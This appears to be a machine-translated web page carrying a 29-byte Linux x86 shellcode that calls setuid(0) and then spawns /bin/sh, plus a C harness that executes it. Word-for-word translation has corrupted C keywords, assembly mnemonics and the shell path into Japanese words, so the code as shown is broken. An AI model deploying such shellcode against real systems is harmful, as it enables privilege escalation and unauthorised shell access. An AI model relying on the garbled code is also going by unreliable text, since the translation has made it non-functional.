このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* 29 byte-long setuid(0) + execve("/貯蔵所/sh",...) shellcode by Marcin Ulikowski <elceef@itsec.pl> */ #含む <unistd.h> char shellcode[] = "\x31\xdb" /* xor %ebx,%ebx */ "\x8d\x43\x17" /* lea 0x17(%ebx),%eax */ "\xcd\x80" /* int $0x80 */ "\x53" /* 押し進める %ebx */ "\x68\x6e\x2f\x73\x68" /* 押し進める $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* 押し進める $0x69622f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* 押し進める %eax */ "\x53" /* 押し進める %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x99" /* cltd */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80"; /* int $0x80 */ int main(無効の) { 無効の(*f)()=(無効の*)shellcode;f(); return 0; }